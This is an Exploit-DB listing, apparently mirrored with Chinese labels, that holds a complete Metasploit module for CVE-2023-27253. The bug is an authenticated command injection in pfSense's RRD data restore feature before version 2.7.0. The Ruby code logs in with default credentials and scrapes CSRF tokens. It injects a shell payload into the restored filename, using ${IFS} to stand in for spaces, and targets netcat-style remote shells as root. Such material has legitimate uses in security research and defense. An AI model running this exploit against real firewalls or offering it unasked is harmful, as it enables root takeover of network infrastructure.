pfSense v2.7.0 – OS Command Injection

  • 作者: Emir Polat
    日期: 2023-07-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51608/
  • # Exploit Title: pfSense v2.7.0 - OS Command Injection 
    #Exploit Author: Emir Polat
    # CVE-ID : CVE-2023-27253
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::CmdStager
    include Msf::Exploit::FileDropper
    prepend Msf::Exploit::Remote::AutoCheck
    
    def initialize(info = {})
    super(
    update_info(
    info,
    'Name' => 'pfSense Restore RRD Data Command Injection',
    'Description' => %q{
    This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of
    pfSense prior to version 2.7.0 which allows an authenticated attacker with the"WebCfg - Diagnostics: Backup & Restore"
    privilege to execute arbitrary operating system commands as the "root" user.
    
    This module has been tested successfully on version 2.6.0-RELEASE.
    },
    'License' => MSF_LICENSE,
    'Author' => [
    'Emir Polat', # vulnerability discovery & metasploit module
    ],
    'References' => [
    ['CVE', '2023-27253'],
    ['URL', 'https://redmine.pfsense.org/issues/13935'],
    ['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']
    ],
    'DisclosureDate' => '2023-03-18',
    'Platform' => ['unix'],
    'Arch' => [ ARCH_CMD ],
    'Privileged' => true,
    'Targets' => [
    [ 'Automatic Target', {}]
    ],
    'Payload' => {
    'BadChars' => "\x2F\x27",
    'Compat' =>
    {
    'PayloadType' => 'cmd',
    'RequiredCmd' => 'generic netcat'
    }
    },
    'DefaultOptions' => {
    'RPORT' => 443,
    'SSL' => true
    },
    'DefaultTarget' => 0,
    'Notes' => {
    'Stability' => [CRASH_SAFE],
    'Reliability' => [REPEATABLE_SESSION],
    'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
    }
    )
    )
    
    register_options [
    OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
    OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])
    ]
    end
    
    def check
    unless login
    return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")
    end
    
    res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
    'method' => 'GET',
    'keep_cookies' => true
    )
    
    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
    
    unless res&.body&.include?('Diagnostics: ')
    return Exploit::CheckCode::Safe('Vulnerable module not reachable')
    end
    
    version = detect_version
    unless version
    return Exploit::CheckCode::Detected('Unable to get the pfSense version')
    end
    
    unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')
    return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")
    end
    
    Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")
    end
    
    def login
    # Skip the login process if we are already logged in.
    return true if @logged_in
    
    csrf = get_csrf('index.php', 'GET')
    unless csrf
    print_error('Could not get the expected CSRF token for index.php when attempting login!')
    return false
    end
    
    res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'method' => 'POST',
    'vars_post' => {
    '__csrf_magic' => csrf,
    'usernamefld' => datastore['USERNAME'],
    'passwordfld' => datastore['PASSWORD'],
    'login' => ''
    },
    'keep_cookies' => true
    )
    
    if res && res.code == 302
    @logged_in = true
    true
    else
    false
    end
    end
    
    def detect_version
    res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'index.php'),
    'method' => 'GET',
    'keep_cookies' => true
    )
    
    # If the response isn't a 200 ok response or is an empty response, just return nil.
    unless res && res.code == 200 && res.body
    return nil
    end
    
    if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?
    nil
    else
    version
    end
    end
    
    def get_csrf(uri, methods)
    res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, uri),
    'method' => methods,
    'keep_cookies' => true
    )
    
    unless res && res.body
    return nil # If no response was returned or an empty response was returned, then return nil.
    end
    
    # Try regex match the response body and save the match into a variable named csrf.
    if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?
    return nil # No match could be found, so the variable csrf won't be defined.
    else
    return csrf
    end
    end
    
    def drop_config
    csrf = get_csrf('diag_backup.php', 'GET')
    unless csrf
    fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')
    end
    
    post_data = Rex::MIME::Message.new
    
    post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
    post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
    post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')
    post_data.add_part('', nil, nil, 'form-data; name="restorearea"')
    post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')
    post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
    
    res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
    'method' => 'POST',
    'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
    'data' => post_data.to_s,
    'keep_cookies' => true
    )
    
    if res && res.code == 200 && res.body =~ /<rrddatafile>/
    return res.body
    else
    return nil
    end
    end
    
    def exploit
    unless login
    fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')
    end
    
    csrf = get_csrf('diag_backup.php', 'GET')
    unless csrf
    fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')
    end
    
    config_data = drop_config
    if config_data.nil?
    fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')
    end
    
    if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?
    fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')
    end
    config_data.gsub!(' ', '${IFS}')
    send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")
    
    post_data = Rex::MIME::Message.new
    
    post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
    post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
    post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')
    post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
    post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')
    post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")
    post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
    post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')
    
    res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
    'method' => 'POST',
    'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
    'data' => post_data.to_s,
    'keep_cookies' => true
    )
    
    if res
    print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")
    end
    end
    end